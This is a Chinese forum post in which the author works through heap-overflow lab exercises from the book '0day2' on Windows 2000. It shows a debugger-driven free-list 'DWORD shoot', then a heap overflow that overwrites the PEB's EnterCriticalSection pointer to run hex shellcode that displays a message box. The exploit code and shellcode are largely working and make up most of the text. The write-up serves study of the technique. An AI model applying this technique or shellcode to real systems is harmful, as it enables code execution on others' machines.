好久没有发帖子啦!最近一直很忙!但是还是抽空学习啦下!
前段时间匆匆忙忙的把0day2上的堆溢出实验做啦!
可能当时太浮躁啦,很多细节没注意!结果:实验结果很不满意!所以就有啦这一篇!!
上一篇是发布在cnblogs.com的。后来管理提醒我,我们不讨论这种技术!旧书重温:0day2【7】堆溢出实验(很失败的一篇)
所以来 F4ck 发布吧!
0day2第五篇 堆溢出利用!
这章节,我细读啦不下3遍!
但是还是感觉有些生疏,所以要想把这个实验做好!一定要把此章节搞明白!
文章开始
0x01. 0day2第五篇 堆溢出利用! 多看几遍,弄清楚!
0x02 此次环境 vc6 + windows2000 + od
0x03 第一个实验 空表再分配新堆时(从空表上卸下一块,分配新堆时的)dword shoot,此次试验只是调试中体会dword shoot,
原理:空表是双向的
<ignore_js_op> <ignore_js_op>
总结:在链表卸下时, 假造的node的FLink的值将写入到BLink的地址处(Flink = Forward前 link ,指向高地址; BLink = Behind 后 Link,指向低地址)
代码:
- HANDLE hp;
- HLOCAL h1,h2,h3,h4,h5,h6;
- // 堆空表卸载时的dword shoot
- //1 断点
- __asm int 3
- hp = HeapCreate(0,0x1000,0x10000); // 创建新的堆,不可扩展的堆 只存在空表
-
- //2 申请6个8 字节的堆内存
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- //3 释放1 3 5 这时 空表第3项 即 free[2] 上会有3个彼此相连的node (申请的8字节 在加上头信息共16字节所以16/8 = 2,连入 free[2] )
- HeapFree(hp,0,h1);
- HeapFree(hp,0,h3);
- HeapFree(hp,0,h5);
- //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值
- //5 sheng qing 8 byte new dui -> dword shoot
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
复制代码
注意一定要replease模式生成,然后运行,od调试
<ignore_js_op>
下载od已经断在啦 int 3 处;nop掉 往下走 注意 hp h1,h2,h3,h4,h5,h6 的数值
神器od已经将 代码注释的很完美啦
我就不演示调试过程啦
直接来到 //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值
我们开始手动修改 h5
<ignore_js_op>
此时我的PC的h5是003E06C8
在数据区 Ctrl+G l来到 003E06C8 处 ,这就是h5内存的起始地址,其实h5应该包含头部 我已经阴影标注 共16字节
继续执行下去 来到 h5释放后
<ignore_js_op>
这时的h5(003E06C8)处已经变了样!
阴影处是FLink 后边的是BLink
我们修改下 Flink 修改为4444,Blink 为0000,(因为卸下是将 会 44444写入到00000处,会报错)
<ignore_js_op>
将od的调试设置下!把忽略全去掉
继续F8 ,触发断点
<ignore_js_op>
仔细观察
MOV DWORD PTR DS:[EDX],ECX
此时 ecx 44444444; edx 00000000
验证完毕
0x04 第二个实验 StackAttackEnterCriticalSectionPointer
狙击 EnterCriticalSectionPointer 指针
为神马搞这个指针呢 !
<ignore_js_op>
指针在哪里呢
<ignore_js_op>
首先自己找到 这个指针
- __asm
- {
- xor eax,eax
- mov eax,fs:[eax+0x30] //peb
- lea eax,[eax+0x20] //EnterCriticalSectionPointer
- mov eax,[eax] //EnterCriticalSection addr 这个是这个函数的地址
- }
复制代码
<ignore_js_op>
EnterCriticalSectionPointer 0x7ffdf020
- char shellcode[] = //this my shellcode msg ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
- "\x90\x90\x90"\
- "\x16\x01\x1A\x00\x00\x10\x00\x00"\
- "\x88\x06\x36\x00\x20\xF0\xFD\x7F"; //20 nop
- //"\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90"; //20 nop
- HLOCAL h1=0,h2=0;
- HANDLE hp;
- hp = HeapCreate(0,0x1000,0x10000);
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,208); // 208 因为我的msg len 长啦!调试需要
- memcpy(h1,shellcode,0x200); //0x200 = 512
-
- h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
复制代码
原理 <ignore_js_op> <ignore_js_op> <ignore_js_op> <ignore_js_op>
首先我们来定位 shllcode 修改为
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90"; //20 nop
- //209 216
- // 181 +20 + 8 + 20
复制代码
<ignore_js_op>
我们看到h1是 360688
内存 我已经阴影标注啦
其中红色部分是 hp分配 h1后,剩下的部分 node 指向free[0]
如果在分配就会改变此处(红色标记处)如果我们通过memcpy代码覆盖掉这部分,就可以狙击 EnterCriticalSectionPointer
下面是 memcpy后的 内存情况
<ignore_js_op>
比较上一图 我们发现 红色部分被我们的 91 -98 控制啦 那么91 -98 就是我们 修改的关键
如果修改呢 根据F =》B的原理 我们把 91-94不知为我们shellcode 地址 也就是 h1地址 360688
将 B 部分 95 -98 为 EnterCriticalSectionPointer 7FFDF020
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
<ignore_js_op>
我们已经控制啦
调试发现会存在 书中所说的 2次 dword shoot 造成我们的shllcode偏移 4字节处被污染!
我们将shellcode头部填充20 nop 验证下
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
-
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
将 下面的20 个 nop提到头部
<ignore_js_op>
<ignore_js_op>
红色部分 就是 2次dword的污染
<ignore_js_op>
还好 无关紧要
接下来解决问题,恢复被我们修改的EnterCriticalSectionPointer
__asm { xor eax,eax mov eax,fs:[eax+0x30] //peb lea eax,[eax+0x20] mov eax,[eax] //这就是 EnterCriticalSection 地址啦 77F82060 (徐调试)
} 这实验 我就不做啦
以下code是修复 的代码
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060 |mov[eax],ebx
- "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
-
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
到现在 还没有成功!
接下来就是修复下 尾块的头 现在尾块被我们的数据覆盖为啦90909090当然不对,所以异常
直接copy没被破坏的头结构
00360758 15 01 1B 00 00 10 00 00
先试试这个吧
修改啦还是不行 可能 还是2次 dowrd shoot 的脏数据问题
但是据说 那几句代码 可以忽略
为了保险 在产生脏数据的后面放4个 nop
最后的
- //2 stack overflow
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060 |mov[eax],ebx
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
-
- "\x90\x90\x90\x15"\
- "\x01\x1b\x00\x00\x10\x00\x00\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
复制代码
去掉int 3 直接运行
当当当 msg 出来啦
<ignore_js_op> |